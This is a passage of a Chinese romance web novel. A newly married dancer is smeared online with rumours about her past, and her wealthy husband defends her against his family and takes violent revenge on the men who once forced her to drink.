接收到她眼底的愧疚,谢温言笑着把人拎到身前,捧着她的脸颊安慰:“怎么还委屈上了?” “……如果不是我失误那么多次,你就不会输了。” 谢温言自然清楚她委屈的点在哪。 “上上局没有你,我照样输了。” “周绾宁,我不是不输的神话。再者,如果这次一定要归根究底复盘原因,那也是因为之前我没有好好教过你这个游戏。” 谢温言提议,“不如等回梧桐湾,我带你多加练习,争取下次再赢回来?” 周绾宁有被他哄好,笑着点了点头。 见时候不早了,谢温言还记着明天要去爬山,便对几个朋友说了下次有时间再聚,随后牵起周绾宁的手离开了台球厅。 等到台球厅只剩下三个人的时候,谭星仪忍不住问贺昱霖:“之前你跟沐黎姐关系那么好,现在又对大嫂那么热情,不怕沐黎姐知道后撕了你?” 贺昱霖用巧粉摩挲了下杆头,随后弯腰瞄准台上的球:“她撕不撕我,我无所谓的。但你刚刚打个友谊赛,一点也没心疼大嫂是个小菜鸟,就不怕温言哥心疼后,撕了你?” “哎呀,我刚刚也没想那么狠的,只是有点惋惜沐黎姐的七年青春,才没手下留情。” 谭星仪叹了一口气,“刚刚我给沐黎姐拍了我们在这玩斯诺克的照片,还有绾宁他们的照片。从她回复的消息和回复的速度看得出,她应该很难过。” 贺昱霖摇摇头,劝告谭星仪:“我说你可长点心吧,从温言哥对大嫂的姿态可以看出,那是真上心了。” “我也没想针对大嫂。只是觉得沐黎姐有点可怜。” 圈里的人都知道她喜欢温言哥七年,可惜最后两人还是没结果。虽然大嫂很漂亮,性格很好,她也很喜欢。但论远近亲疏,还是沐黎跟他们比较玩得来。 人心又不是天秤,一碗水端不平的。 “爱情这件事,不是谁可怜就会得到偏爱。” “再说了,温言哥从来都很明确地拒绝沐黎,两人从没暧昧过。这么多年,我们也撮合了不少次,要有结果早有了。” “也是,温言哥对沐黎姐再坦荡不过了。” 谭星仪叹息一声,片刻后又好奇,“不过大嫂和温言哥,怎么在一起的?我记得她之前不是你们二代圈里的。” 贺昱霖不确定:“可能是……相亲?” “不……” 今夜始终沉默的秦怀忽然开口,在杆头瞄准目标后,语调幽幽,“是那朵高岭之花……处心积虑,巧取豪夺。” 音落,一杆进洞。 “你怎么那么清楚?”谭星仪不禁好奇。 秦怀没有回答原因,只道:“你不需要对谢温言的选择抱有任何不满。如果要用时间衡量感情有多真挚,那么谢温言喜欢周绾宁,也有……七年了。” 台球厅的另外两人,在震惊中陷入寂静。 * 白天经历了殊死酣战,周绾宁难得一夜无梦。 一直到次日清晨。 她还未睁眼,身躯已然被人熟练逗弄醒来。 平日还算顽强的意志,此刻已经成了一个俘虏,臣服在快乐之中。 并驱使它主人的身躯,主动去攀附那个在被下作乱的混蛋。 随着快乐层层堆叠,毯子上晕染开一片又一片的暧液。 一声轻哼后,周绾宁睁开疲乏的眼,侧头看向酒店阳台外。 只见湖前有一轮红日冉冉升起,稀薄的云彩后,还有未褪去的几颗星辰。 很显然,现在是在破晓时分。 不等她出声制止,再一次突袭的快乐,让她差点呼吸不过来,原本伸下去阻挡对方的手,死死抓住枕头,才没让自己太过崩溃。 等缓过来后,谢温言出现在她上方,用他的手紧紧贴着她的。 两人的婚戒在枕头上轻轻碰撞,发出清脆的一声“哒”。 “……谢温言,这就是你叫起床的方式?” 因为心里一直记着他今天要约自己去爬山看日出。 周绾宁怕自己起不来,所以昨晚睡前有跟他特意提过这件事。 当时她说让他不用太温柔,她怕自己赖床,可以简单高效粗丿暴些地叫她起来。 他说没问题,他不会对她心慈手軟。 可现在,这就是他所谓不会手軟的方式? “这个时候,我更喜欢你……叫我老公。” 周绾宁侧过头,不想搭理他。 谁知下一瞬,他狠狠一撞,在她低哼出声时,他又轻柔地离开些许,“乖一些,你知道的,在这种时候,我很少对你心軟。” 一开始,周绾宁还在忍着。 哪怕牙齿抵在下唇上,额头都冒出了汗,也没松口。 直到听到他说这句话时,意识到好像确实如此,他向来在那种事上很强势。 “哪有你这样的?”她轻轻捶了下他的肩,控诉自己的不满。 “叫一声,我就速战速决。” “……” 最后,周绾宁还是被哄着叫了。 但谢温言速战了,没速决。 等他们成功登上东湖后山时,日头已经照亮了整个东湖周围的湖光山色。 周绾宁被谢温言带到了一座墓碑前。 她终于知道此次来君澜山庄的最终目的,是祭拜谢温言的母亲。 不过更让她惊讶的是,谢温言妈妈的身份。 竟是她学习舞蹈后心之向往的领路人,温璐芸温老师。 她撑着伞,蹙眉看向身侧的谢温言,心里有一堆的问题想要问,但最后什么也没问。 谢温言将一束洋甘菊放在墓碑前,淡声道:“今天是我母亲的忌日,去年在国外出差,没时间过来看望她。后来我想带你来,但又怕你会觉得奇怪,所以一直到这一次我们试着在一起后,才带你来见她。” “我妈是她那个年代很有名的舞蹈家,但进入谢家后,就没登上过舞台。” 周绾宁听着伞上展开水花的啪嗒声,心脏不免慢慢沉下去。 “我知道温老师的。” “她的舞蹈到现在还有很多人学习、瞻仰。” 周绾宁想,她虽然不怎么了解温璐芸老师的私人生活,但关于温老师在舞蹈方面的成就,不比谢温言知道的少,“她是我从小的偶像。” 只是之前,她不知道温璐芸是谢温言的妈妈。 三十年前,温璐芸离开舞台后,就再也没出现在公众面前。 当时的传言都说她嫁给了京市的世家公子,过得很幸福。 可在她消失在舞台的第十三年。 她的好友突然发了她的讣告,引发圈内热议和惋惜。 再后来,一夜之间,相关讨论全部不见。 温璐芸的资料几乎被封锁干净,成了圈内禁忌。 如果不是她爸爸早前有出钱专门录制温璐芸老师的舞蹈视频,估计现在也没有《玉观音》供她学习了。 万万没想到,喜欢的偶像会和谢温言产生这样紧密的联系。 “等我回一趟谢家,我去把她给儿媳妇的见面礼带来,送给你吧。” “见面礼?”周绾宁有点儿纠结,“会不会太快了。” 他们不是才在一起试试吗?谢温言这样准备送给她了? 万一之后两人不合适…… 谢温言听出了她的话外音,伸手过来握住她的:“不会。” 他又道,“有时候,一个人有自己一心想要追求的东西不容易,所以绾宁,如果你有什么想要,不用在乎别人的想法,尽管……” 谢温言还未说完,忽的,一阵手机铃声打断了他。 看了眼是谢书俊打来的,他并不 𝑪𝑹 想在自己的母亲墓前与他有任何交流,于是果断摁断。 这时,周绾宁的手机也响起铃声。 她看了眼,是林星禾打来的,于是果断接听:“喂,星禾,怎么了?” “绾宁,出事了。”林星禾的语气十分焦急,“昨晚我就被人通知,学校论坛里有人在蛐蛐你,那时我去看了眼,见帖子沉底,就觉得没必要告诉你,影响你的心情,谁知道今天上网冲浪,就看见那个帖子被人做成了瓜条,挂在网上,帖子的热度越来越高,越来越多的谣言加入了。” “他们在讨论我什么?” “你还记得你家快要破产那阵子吗?” 周绾宁的心一沉,闷得很:“记得。” “那段时间,你去和你爸爸拉投资,经常陪着喝酒。那些照片被人拍下,本也没什么,谁知道现在有人造谣你……” 谢温言自然也听到了林星禾的这些话。 他下意识看向周绾宁。 周绾宁长又密的睫毛遮盖了她眼底的伤感,只剩满脸坦荡:“他们造谣我什么?” “说你当时休学一年,是去做外围陪酒了,那些话说得很难听……” 第23章 罪证 商量你们离婚的事宜。 回程的路上, 周绾宁特意翻进了学校的论坛里,查看谣言相关的原贴。 标题叫做——《扒一扒那个家道中落的校花变陪酒女的事》 主楼, 是一张像素很差,但熟悉周绾宁的人都能知道是她。 楼主的评判:「昔日天之骄子、舞蹈系校花堕落成陪酒女。果然正经跳舞没有做外围来钱快~」 周绾宁承认照片里的人是自己,但贴子里的谣言她一个字都不会认。 跟楼的有不少旧日同学为她辟谣。 也有许多刚注册的新号在用各种难听的话语攻击她。 说她让京舞学院蒙羞,应该被京舞彻底除名,京舞合作的舞团都不能与她合作。 甚至有评论扒出她现在在京市最高级的私立幼儿园里做老师,说这样的德行不配做老师,应该让盛坤集团把她开除。 期间, 还有人将她与高琼芝的恩怨引出来, 进行添油加醋, 捏造她和小苹果父亲联合坑害富婆的事情。 又有谣言说, 她还勾引了盛坤集团高管,利用权势坑害同办公室的老师。 三言两语,把她塑造成了一个祸乱盛坤教育形象的妖姬。 逐渐的,帮她反驳的话越来越少。 到最后全是将莫须有的脏水泼到她身上的言论。 被污蔑、误解的滋味并不好受。 更何况还伴随着铺天盖地的谩骂与指控。 周绾宁只觉得自己浑身的血液都凉透了。 她的掌心是冷的, 还因为攥拳头攥久了,有冷汗浮出毛孔。 车子缓缓停下,谢温言的手伸过来, 包裹住他的。 事情发生以来,两人之间的沉默多余其他。 周绾宁不知道该怎么跟他开口说这些,也不知道谢温言会不会信那些谣言。 他们真正在一起的时间不长,彼此的感情可以用脆弱两个字来形容。 所以谢温言会不会怀疑她以前真是做那个的? 喜欢一个人的时候,总是会不受控制地变得卑微谨慎、小心翼翼。 就在周绾宁胡思乱想的时候, 身侧一直沉默的谢温言开了口:“宁宁。” “……嗯?”周绾宁回应他,声音都颤了颤。 她尽量装作没什么事情,也不在意那些言论, 只是当侧过头看到谢温言眼底的关心时,还是忍不住鼻头一酸。 “一切,有我。” 谢温言只说了这四个字。 但周绾宁已经不信任有人会陪着她这件事,很久很久了。 因为无论她依赖谁,那个人最后都会离开她,所以这些年她学会了不再依赖。 她深吸一口气,告诉谢温言:“这些事我可以自己……” 周绾宁的话还没说完,男人冷脸打断了她:“你现在尽管说不需要我。” 从他的声音里能听得出他有些生气。 周绾宁看向后视镜,对上他锐利的视线,愣住,不敢再说什么。 谢温言单手转动无名指上的婚戒,敲定下来:“这件事我来解决,你在家安心地吃饭、睡觉,保持开心,保持想我,然后继续过你日常的生活,明白吗?” “可是……” “没有可是,如果让你因为这些事难过和伤心,只会显得我这个丈夫很无能。” “……” 于情于理,好像也是。 这时,车子到了梧桐湾外停下。 谢温言用下巴示意,“下车吧,洗完澡、关掉手机好好休息。” 周绾宁听话,乖乖下去,但想到什么,又折返到主驾驶这边。 谢温言摇下车窗看她:“怎么了?” “你什么时候回来?” “处理完这些事,我就回家。”谢温言想了想,从驾驶座里探出头。 这个意思,周绾宁还是了解的。 她踮起脚尖凑了上去。 原本她想亲一下就结束,谁知道就在她准备撤回的时候,谢温言伸手把她按回去,加深了吻。 夕阳落下,热烈的余晖绽放在他们的双唇之间。 最后,谢温言用额头抵住她的脑袋:“想我,但可以不用等我。” “嗯。” 谢温言回到了位置上,示意周绾宁快点进屋。 周绾宁若无其事地对他挥手再见,转身离开。 但谢温言还是能看出她那落寞的身影周围是掩盖不住的难过气焰。 他闭了闭眼,再睁开时,那份在周绾宁面前才有的温柔全然不见,只剩冷然。 他拿起手机,看向半个小时前谢书俊发来的消息: 【叫上周绾宁,来逸园,商量你们离婚的事宜。】 一抹嘲讽绽开在他嘴角处。 谢温言不再停留,果断丢开手机,驱车前往逸园。 * 肃穆古朴的逸园客厅里。 谢书俊高坐在主座上,孙晗莉则坐在右侧的客座上,遵从着没必要再遵从的世家规矩。 谢温言走到客厅中央,目光冷冷地看着主座的父亲,眼眸凉薄:“有话快说,我时间紧。” “你这孩子,怎么说话的。”一旁,孙晗莉开口。 谢书俊伸手让她闭嘴,随后开门见山道:“网上的消息,你应该已经了解了吧?” “之前我还觉得绾宁是个身家清白的姑娘,我们谢家也不是不可以接受她。但现在你看看,在嫁给你之前她竟然是个……” “闭、嘴。” 谢温言不想从任何人嘴里听到对周绾宁的诋毁,包括自己的父亲。 “谢温言!” 谢书俊拍案而起,“再怎么,我也还是你老子,你什么态度,有没有把你爸我,放在眼里!” “对啊温言,你爸这也是关心你。你是老爷子一手教出来的好孩子,是谢家最重规矩的,怎么如今……你爸还有阿姨我,这次叫你回来商量离婚的事,也是希望你能为谢家的未来考虑。” 谢温言低笑了一下,好似听到了什么笑话,眼神凌厉,宛如看着垃圾。 “谢家的未来,与我何干?” 周遭的空气瞬间凝固。 谢书俊气得指着他,一句话都说不出来。 半晌后,他才咬牙道:“总之,那样一个陪酒女,绝不能玷污我们谢家的门楣!你们尽快离了吧,谢家丢不起这个人!” “玷污谢家的门楣?” 谢温言重复了一下这几个字,玩味又觉得好笑,“谢家如今还有什么门楣?是让小三大着肚子逼宫上位的门楣吗?” 说话间,谢温言一边走近自己道貌岸然的父亲,一边指着一旁的孙晗莉。 一字一句,皆是控诉。 孙晗莉脸色煞白。 谢书俊原本盛气凌人的气场也骤变,眉眼瞬间心虚:“你胡说八道什么?” “我妈抛下一切、退出热爱的舞台嫁给你,为你生儿育女,为你身材走形,与你相守十二年,却抵不过你和孙晗莉认识三个月,就因为孙晗莉一句与孙家就可以救谢家,你就动摇了和我妈坚守的心思。” “那段时间,我妈守着我,为你这个失职的父亲说尽好话,让我不要怪你。说你是为了救谢家才不回家。可后来呢?从始至终,你 ?????? 连救谢家的办法都没想过,权衡利弊后,你人生里唯一放弃的……就只有我妈。” 谢温言说这些的时候,语气很稳,看不出有任何情绪。 因为这些话,从小就徘徊在他的心里,无数次想要质问谢书俊。 但后来发现没必要,在一个没有良心的人那儿,是得不到答案的。 他想,只要谢书俊不触碰他的底线,那么这个家还可以安安稳稳地维持下去。 没想到,现在他们要动周绾宁。 那么他就没必要给彼此留任何颜面了。 “谢书俊,在这个家里最没资格教我当人做事的就是你。” 谢书俊愣住了。 只因谢温言此刻看着他的眼神,他在十八年前也看到过。 那是他和孙晗莉的婚礼上。 在即将交换戒指的时候,一直被关在逸园戏台下的谢温言,不知怎么出现在了红毯尽头。 因为三天不肯吃东西,他整个人在一身素色衣服下,显得瘦弱又苍白。 虽摇摇欲坠,却步履坚定地朝他们走来。 一开始,他还以为他想通了,不再靠绝食拒绝孙晗莉嫁进谢家。 谁知道他手里捧着的不是戒指盒,而是……他母亲的遗像。 周围有孙家人要他下去,但刚靠近,就被那时还只有十二岁的他,用眼神唬住了。 像是一头绝望的幼兽,在用生命嘶吼。 但凡这一次要搞他的人,如果弄不死,那么之后就是清算。 所以一时间,也没人上前敢去阻拦。 谢温言把他母亲的遗像递给孙晗莉,只说了一句话:“叫姐姐。” 孙晗莉自然不肯叫,一句姐姐,她就自认为小,会成为京市里的笑柄。 “我和你妈在她去世之前已经协议离婚了,你不要再胡闹!”谢书俊当时低着声音劝说自己的儿子。 谁知,谢温言将遗像转了个方向,露出后面一张一年前的B超单子。 上面日期证明了,在谢书俊和温璐芸离婚前,孙晗莉就已经怀孕六个月。 “如果不想我将它公之于众,让整个谢家成为京市笑话,就叫。”他目光冷冷地扫过孙晗莉,她就是用这张b超单子欺负他妈妈,让它成为压垮他妈妈的最后一棵稻草。 那么,这张单子也是以后让他们余生都在提心吊胆的悬梁刀。 一群腐朽的东西最看重家族门楣光耀,也最看重自己的面子。 那天,谢温言赢了。 他像看笑话、像看垃圾一样看着喊出姐姐的孙晗莉,与慈父面孔被拆穿后,变得恼羞成怒的谢书俊。 而时隔十八年,这个眼神再次出现在了谢温言的脸上。 让谢书俊不得不记起自己对前妻的所作所为。 “爸是为了你好!” 谢书俊忍不住大喝一声。 吓得玄关处刚从生日会回来的谢霜鄞,以为自己做错了什么事。 她小心翼翼地探头出去查看。 只见自己的父亲指着自己哥哥唾骂:“混账东西,那个周绾宁到底哪里配得上你,像我们这样的家世,你就应该和沐家的女儿在一起。” 谢温言像听了笑话一样:“然后再等哪天沐家不行了,像你一样,利用完一个丢一个?” “当初,你没少利用我妈的人脉,结识那些大佬,后来觉得我妈不行了,找了个能帮你会哄着你的孙家……”谢温言闭了闭眼睛,“谢书俊,你哪来的资格教我做人做事?” “你!你个逆子!”谢书俊气到捂心脏。 “温言!你真的没必要为了和我们过不去,而毁了自己的婚姻。” 孙晗莉还在一旁“苦口婆心”,“当年的事情已经过去了,如果你实在过不去,我道歉,我替你父亲,向你妈妈诚挚道歉。阿姨只是希望你别为了气你爸,而选择跟周绾宁在一起。” “让我用绾宁气你们,你们还不配。” 谢温言勾唇戏谑,“不过如果你真心想要向我妈道歉,不如做点实际的事。” 孙晗莉结巴了下:“你、你想要什么?” 谢温言冷笑着没有回答。 他走到一旁拿起一只相框,打开后,取出藏在里面的小钥匙。 在上楼前,谢温言回头郑重告诉谢书俊:“哦,对了。我不仅不会和绾宁离婚,如有必要,我还会在全媒体上,宣布她是谢温言的太太。” 他不对外官宣她是他太太的这件事,只是有一些自己的顾虑在。 但如果周绾宁需要,他会对全世界宣布她是他妻。 “什么?”谢书俊愣住了。 “不需要惊讶,也不用说什么来阻止。毕竟……” 谢温言大步往楼上走,楼梯上回荡着他冰冷的声音,“我只是来通知你们,不是来商量的。” 客厅里,谢书俊被气得心脏疼,孙晗莉连忙站起身安抚他。 而另一旁,谢霜鄞连忙打开周绾宁的微信,对她进行控诉。 * 是夜,梧桐湾,静谧的书房里。 橘色的灯光,暖意洋洋地照在周绾宁的侧颜上,倒是没了之前的疏离感。 如今看着,倒是有些岁月静好的感觉。 她并没有乖乖听谢温言的,去床上睡觉,而是自己联系了律师,针对网上对她的谣言进行取证。 在微信上和律师简单聊了一下,她顺手切到了朋友圈打算看看。 却发现第一条是谢霜鄞捧着蛋糕,在众星捧月之中吹蜡烛的照片。 想到两人之间紧张的关系,她决定将她删除,未曾想刚转到与她的对话框,里面就闪出了一条她发来的消息—— 【因为你,我们家这两年闹了多少矛盾。你根本就配不上我哥。周绾宁,识相的,就在自己陪酒的事情曝光后,主动和我哥离婚!】 周绾宁的手指在屏幕上顿了顿。 如果是一周之前的周绾宁,或许会因为怕带给谢温言麻烦,而向他发起离婚的申请。 但现在不会了。 她仔细回想了温老师墓碑上的时间,给一直很自信的谢霜鄞发过去一则消息: 【看来这么多年,谢二小姐一直没搞清楚一件事。】 谢霜鄞:【?你要说什么?】 周绾宁:【据我所知,谢家先夫人去世的当天,你恰好出生。】 【谢霜鄞,谢家的矛盾不是我,恰恰是你。】 哪怕没看到谢霜鄞的神情,但周绾宁还是能想象出来她文字里的抓狂与崩溃。 【周绾宁你在胡说八道什么,我怎么可能是谢家的矛盾。】 【我们谢家和和美美,你一个外人知道什么?】 【你知道我哥哥对我有多好?】 【是不是你在挑拨离间,他才会对我们家越来越冷漠!】 周绾宁轻描淡写地回复: 【对于谢温言来说,我是他亲自选定的家人。】 【而你父母,是害死他母亲的凶手。】 【至于你。】 【对谢温言来说,只是个罪证。】 发完这些消息,周绾宁果断将谢霜鄞拉黑。 如果不是因为她是谢温言的妹妹,她这辈子都不会与谢霜鄞有任何往来。 不过想来谢温言应该去了逸园,和谢家人发生了争执,所以谢霜鄞才会给她发消息,控诉那些莫须有的罪名。 虽然不知道自己发给谢霜鄞的话,会不会影响他们兄妹俩的关系。 但人不犯我。 她对谢霜鄞的忍耐已经到底,不会再以一个乙方的身份惯着她了。 第24章 教训 跟他玩幼师play。 周绾宁把论坛几个造谣的uid发给了律师, 随后上楼准备睡觉。 但下一秒,一直不太关注娱乐新闻的明潇也给她发来了消息: 【宁宁, 到底怎么一回事啊?我竟然在微博上看到你的热搜了。】 【不是,我就很好奇!你一个普通素人怎么会上热搜啊,还是负面的热搜!】 【该不会是有人搞你吧?】 椿?日? 周绾宁打开微博查看。 热搜的起源,是有个大v博主喜欢发各大高校校花校草的照片、日常。 周绾宁记得他也发过她,在她大学时期吹过她的舞蹈和样貌,现在却是一副脱粉回踩的模样。 表面惋惜她没有坚持跳舞,实际上是想要把她陪酒的谣言给坐实。 看样子, 确实是有人搞她。 周绾宁先把链接转给了律师, 随后回复明潇:【放心吧, 谢温言已经帮我在处理了。】 这时候搬出谢温言, 也是想让明潇更放心些。 【那就好,有谢总在,至少会有强大的律师团做你的靠山、还能帮忙撤掉热搜。】 这时,明潇又问, 【话说回来,你和谢温言怎么样了,看你昨天发的朋友圈, 小日子过得还算甜蜜。】 昨晚的朋友圈,是两人在台球厅和谢温言朋友分别后,在君澜山庄别墅区的小径上拍的。 对着路口的广角镜,她在前面闹,谢温言在她身后笑。 她对着镜子一连拍了好几张。 那是他们结婚以来, 除了婚纱照,难得的合照。 她选了张看不清楚他们脸,略带搞怪的一张发在了朋友圈里。 就算幼儿园的同事看见了, 也应该分析不出来在她身旁的是谢温言,这样也可以避免一些麻烦。 她回:【勉强算追到了吧。】 随后,周绾宁将事情的经过简单和明潇说了一下。 虽然过程极其曲折、虽然最后说在一起试一试的不是她。 但两人现在比之前感情更深了一些,总是事实。 所以,她也愿意跟朋友分享这份喜悦。 【恭喜!!!哪天让谢温言请我和星禾吃饭!】 【嗯,会的。】 【网上那些事情不需要在意,实在难过,就往你老公的八块腹肌上扑,摸着他的胸肌当阿贝贝哄自己睡觉。网上那些乱七八糟的,怎么比得过美色当前呢。】 看到这条消息,周绾宁就想到在君澜山庄那些近乎疯狂的记忆。 她脸颊泛起微醺的红。 随后,坦然地给明潇回复:【我不会在意的。】 或许是因为谢温言的一句有他在,所以这一次周绾宁的心里很安定。 不会再因为旁人的质疑、谩骂而内耗。 她没有做过的事情,不会认。 【哦对了,星禾让我提醒你,明天下午就是京舞团的初面了,你记得好好准备下。】 【嗯嗯。】 之后,与明潇道了晚安。周绾宁去到阁楼练舞,为京舞团的初试做准备。 * 从谢家离开后,谢温言径直驱车前往云归会所。 半个小时前,他去了趟公司,一边让林晗帮忙找人修复母亲的遗物,一边询问林晗周绾宁被黑事情的进展。 林晗告诉他,她已经找了人撤下黑热搜,也找了京舞学院论坛的管理员,讨要到了相关资料,这件事的始作俑者是谁,很快就会有一个结果。 宋承珉也发来了消息,说那几个逼周绾宁喝酒的,他已经全部约到了云归里。 几个兄弟里,他们最了解彼此。 宋承珉也知道关于周绾宁的事,谢温言不会善罢甘休。 在包间外,谢温言提前给李叔打了电话,让他来云归会所接他,随后径直推门步入其中。 包厢里,该出现的四个人已经到了。 谢温言步履沉稳地路过他们,每一下步伐都像是能敲击在人的心头。 最后,他径直坐到主座上,随手拧开一瓶威士忌,给自己倒了小半杯,就这么喝了起来。 整个包间里,可以用掉针可闻来形容。 宋承珉把玩着其中一个叫王总的手机,将他的朋友圈翻到了两年前的三月七日。 那天有一则视频。 和云归这个包间的装潢一模一样。 他将视频的声音放大。 里面传来一个叫余明的,此刻也在包厢里的人,和当初周翀宇的对话。 “老周,虽然我们已经合作了许久,但两百万现金可不是一个小数目,贸然投给你,万一填进无底洞可怎么办?” 拍视频的王遒道:“要不这样吧,等会你女儿来接你,等她喝了这二十杯啤的,我们就考虑出资救周氏。” 余明笑说:“是啊,如果你女儿为了救周氏,能做到这种份上。也足以显示今天你的诚意,到时候我就算这两百万打了水漂,看到你女儿痛快喝酒,我心里畅快,或许以后赔了也不会追责你。” 周翀宇见这几个根本没有想帮周氏的想法,干脆起身要走:“恕不奉陪。” 就算周氏今天倒闭,他也不会让周绾宁来接触这些人的肮脏。 这时,王遒似乎听到了开门的动静,将镜头对准了包间的门。 两年前的周绾宁出现在了镜头前。 那时的她,满眼都还是刚毕业大学生的清澈。 看到余明他们不让周翀宇离开,以为他们要对她爸做什么,连忙上前推开那几个男人,瘦弱的身躯将自己的父亲护在身后。 她冷着的声音,询问他们要干什么。 王遒就把刚刚余明说的话,再次重申了一遍。 周翀宇似乎很了解周绾宁的性子,想要带走她。 但周绾宁再三确认了几遍他们话里的真实性,最后在得到肯定回答后,拿起酒就喝了起来。 视频里,刺耳的、不怀好意的笑声,让视频外的谢温言已经蹙紧了眉头,手中的杯子都差点捏碎。 随着视频夸张的笑声越发放肆,他刚想发作。 这时,视频里另一道熟悉的声音响起:“老周,要不我给你五百万投资,但你得让你女儿陪我一晚。” 视频到了这里,差不多结束。 谢温言看向了拍视频的王遒。 王遒直接跪到地上,扶着茶几,神色慌张不知道该狡辩些什么,但他心里很清楚谢温言和宋承珉为什么会找上他们。 他也是后来才知道,谢温言和周翀宇是忘年交。 他提心吊胆了两年,以为这件事已经算揭过了,谁知道现在谢温言终究是找上了他们。 要知道,从云归会所离开后的第七天,周翀宇就上吊自杀了。 他们几个很难逃脱这个责任。 如果谢温言追根究底起来,几个王氏、余氏都不够他开刀的。 “谢、谢总,那话不是我说的。那人您认识的。孙总,对,您后母的弟弟,孙子琦。”王遒连忙把责任推脱出去。 一旁的余明也表示:“那天我们其实也是会帮老周的。但孙子琦加入酒局后,非要为难老周。” 这时,只在视频里出镜,没有说话的一个看上去比较年轻的男人说道:“那孙子琦根本不是人,其实当天我们都觉得差不多了,他非要逼老周女儿继续喝,还借机揩了她的油。后来我怕出事,一直拦着。但当晚,老周女儿还是胃穿孔进了医院。” 谢温言听着他们的话时,慢条斯理地将茶几上的酒杯一杯一杯倒满。 听到后来,他那双已经结霜的眼睛里,越发盈满沁透人心的寒意。 他把酒瓶放下,端起一杯酒,一饮而尽。 而那几个人精怎么会不知道谢温言的意思。 他们不陪着喝的话,今天别想好好出这个包间的门。 于是在相视一眼后,王遒他们赶忙拿起酒杯陪他喝。 甚至后来为了抢喝酒,几个人还互相推搡起来。 看那几个慌张的模样,一旁的宋承珉忍不住露出嘲讽的笑。 这几个当初用自己的权势压人的时候,估计没想到有一天会被更高一层的人碾压。 做人,总得谦逊些。 宋承珉又看向一旁始终默默喝酒的谢温言。 从视频里周绾宁被逼喝酒开始,他跟着不知道一起喝了多少杯。 似乎是想体会当初嫂子在这个酒局上的无助与痛苦。 “孙子琦,到了吗?” 椿?日? 忽的,谢温言将杯子重重抵在了茶几上,看向王遒询问。 他的眼眶周围遍布满了猩红的血丝,是醉意,是不忍,是克制,是即将发疯。 “马上到、马上到。”王遒回答。 也是这声话音落下,包厢的门打开了。 会所里的灯光有一瞬暗下,孙子琦并不知道里面有什么在等着他,大大咧咧地走进来,嘴里还在控诉谢温言。 “我姐那个继子,利用贪污的罪名,把我从盛坤集团踢出来了,迟早有一天我会让他跪在地上求……” 话音未落,孙子琦便看见一个人影朝他走来。 不等他觉得这个身影有点眼熟,忽然,一记拳头就这么落下来,几乎用了十全十的力气砸在了他的脸上,直接将他掀翻在地上。 孙子琦还没反应过来,一只精致的高定皮鞋狠狠踩在了他的手背上。 “是用这只手揩的油吗?” 谢温言回过头,眸色沉冷地询问不远处的王遒。 王遒愣了一下,明白过来后,连连点头。 下一秒,在孙子琦手背上的鞋跟用力碾压。 孙子琦还没明白过来现在到底是怎么一回事事,张口便是痛苦的叫喊。 “谢温言你特么发什么疯,我上个月在公司和你吵的架,你准备现在报复我?” “你把我放开,再怎么我也是你叔叔,你信不信我叫姐夫来治你!我可是你长辈。” 谢温言直接拿一旁的红酒过来,打开后,整瓶整瓶地往孙子琦嘴里倒。 孙子琦一开始还有力气喊骂,到最后被呛得不是咳嗽就是干呕。 谢温言给了他缓和的时间。 直到孙子琦不死心,指着他再次唾骂的时候,谢温言直接抓着他的头发,让他被迫仰起头,往他嘴里塞白酒。 后来,是宋承珉怕谢温言发疯会闹出人命,伸手过来阻止:“够了,接下来交给我处理,你先回家陪陪绾宁。” 谢温言深吸一口气,想到今天从自己车里下去时,周绾宁的背影。 确实,是时候回家陪她了。 他面上云淡风轻,脚却狠狠踹了一脚已经烂醉如泥的孙子琦。 “谢了。” 其他的话,谢温言也说不出了,只道,“三天后东湖地块的项目,我会让宋氏中标。” “ok。” * 深夜,梧桐湾。 在练习了三个小时的舞蹈后。 周绾宁心头最后一点不痛快,也消失得一干二净。 她打开手机看热搜榜,关于她的那条,已经没有踪迹了,就连学校论坛里的原贴也消失在其他的帖子中。 看样子是谢温言的人出手了。 就在她准备下到二楼回房间休息时,忽然一楼传来重物倒地的声音。 以为是桐姨半夜出来摔倒了,周绾宁心里一紧,顾不得身上的舞蹈服还未换,连忙跑到一楼客厅准备扶人。 然而,倒在一楼地上的人,并不是桐姨,而是……谢温言。 在她下楼的过程里,他已经坐靠在了一旁的沙发靠背后,垂着头,不知道在思考些什么。 原本应该在他身上的西装外套,此刻随意地落在一旁的地上,而他身上的白色衬衫,没了平日里的整洁,还随意扯开了两颗。 周绾宁撩起裙摆朝他跑过去,蹲在他面前,刚想问他怎么了,却闻到了他一身的酒味。 看到她来,他抬起眼眸。 平日里锐利沉冷的瞳孔,此刻在楼梯的灯光照耀下,显得温润含水。 “谢温言,你怎么……” 怎么会醉成这个样子? 在周绾宁的记忆中,谢温言喝醉的次数不多,醉成这样的更是少见。 他不是帮她去处理事情了吗? 为什么会喝成这个模样回来。 她上手想要将他扶起,谢温言却顺势依偎进了她的怀里,是以往从未呈现给她的粘人模样。 “对不起……” 他靠在她的肩头,灼热的气息落在她耳后根处,语气愧疚中还有遗憾。 周绾宁摸摸他发烫的脸颊,刚想说话,谢温言抬起头,在她下巴处亲了一口。 一时间,狂跳的心脏在告诉她。 无论是之前高冷自持的谢温言,还是现在醉酒后难得粘人的谢温言,她竟然好像……都很喜欢。 不过不知道为什么他会突然跟自己道歉,周绾宁只当他是醉酒后的胡言乱语。 她连忙把他扶起来,放到了客厅的沙发上。 随后,像是想到什么,她伸出一根手指头,像对待幼儿园小朋友一样告诫醉酒的他。 “老师去给你做醒酒汤。谢温言同学在客厅里乖乖等我,不要乱跑知道吗?” 谢温言醉眼朦胧地看着她,意识到她把自己当幼儿园的小朋友了,于是失笑着听话点头,丝毫没了平日里那种上位者的压迫感。 也只有在他醉成这样的时候,周绾宁才好意思跟他玩幼师play。 她让他靠在沙发靠背上,转身去了厨房。 周绾宁的厨艺算不上好。 上次给谢温言做的那顿饭菜,她知道大抵是好吃不到哪里去的。 但醒酒茶,倒是她的拿手绝活。 以前她经常给在酒宴上应酬完回家的爸爸做。 做完,她回到谢温言面前蹲下。 就在她准备叫他喝点热汤时,意外发现他的手背上有像被磕到的伤口。 她懵了,连忙放下碗,握着他的手端详片刻,不解问他:“谢温言,你是在外跟别人打……打架了吗?” 说实话,周绾宁无法将谢温言和打架联系在一起。 他是京市里最讲规矩的谢家,教出来的大少爷。 平日里言行举止也是温雅又矜贵自持的,怎么也不像是会跟人打架的人。 谢温言却眼睛亮堂堂地看着她。 最后,他向前倾身跪在地上,双手拥住她,像只颓废的抱抱熊,依赖于她的温柔。 他将身上大部分都盖在她身上,轻声低喃着: “周绾宁,他们不敢再欺负你了。” “也没人能再……欺负你了。” 